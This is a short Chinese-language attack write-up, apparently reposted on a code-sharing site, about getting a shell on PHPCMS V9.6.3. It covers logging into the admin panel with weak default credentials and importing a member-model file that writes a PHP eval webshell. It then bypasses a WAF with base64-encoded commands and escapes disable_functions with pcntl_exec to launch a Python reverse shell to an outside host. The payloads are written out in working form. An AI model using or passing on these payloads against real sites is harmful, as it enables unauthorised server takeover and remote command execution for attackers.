PHPCMS V9.6.3 getshell小記


http://xx.xx.com/index.php?m=admin 進入后台登錄界面,弱口令phpcms/phpcms成功登錄后台

先將如下payload保存至txt文本中

array(1);$b=file_put_contents("phpcms_shell3.php",'<?php eval($_REQUEST[1]);?>');

在用戶 > 會員模型管理 > 管理會員模型 >中點擊"添加會員模型":

導入模型添加剛剛創建的txt文本

上傳后服務器會報錯,但此時已生成phpcm_shell3.php腳本

 

 

 

 

 

 

 

 

 嘗試連接webshell發現連接失敗

后發現此站點存在寶塔waf

 

但在寫入文件時並沒有對文件內容進行,懷疑waf只對傳遞參數進行判斷

重新寫入shell,嘗試將命令采用base64編碼格式進行傳遞

 

 

 

成功獲得代碼執行權限

發現disable_functions禁用大部分命令執行函數

嘗試pcntl_exec突破disable_functions函數限制

將如下代碼進行base64編碼

pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("x.x.x.x",9898));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));

執行代碼(雖然服務器返回404,但是命令已執行成功)

反彈shell成功

 

參考鏈接:https://zhuanlan.zhihu.com/p/60027711(phpcms后台幾處getshell)

https://mp.weixin.qq.com/s/xX0Y9KA_LC7dy0zxCDBMJA(waf繞過及disable_functions函數繞過)


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM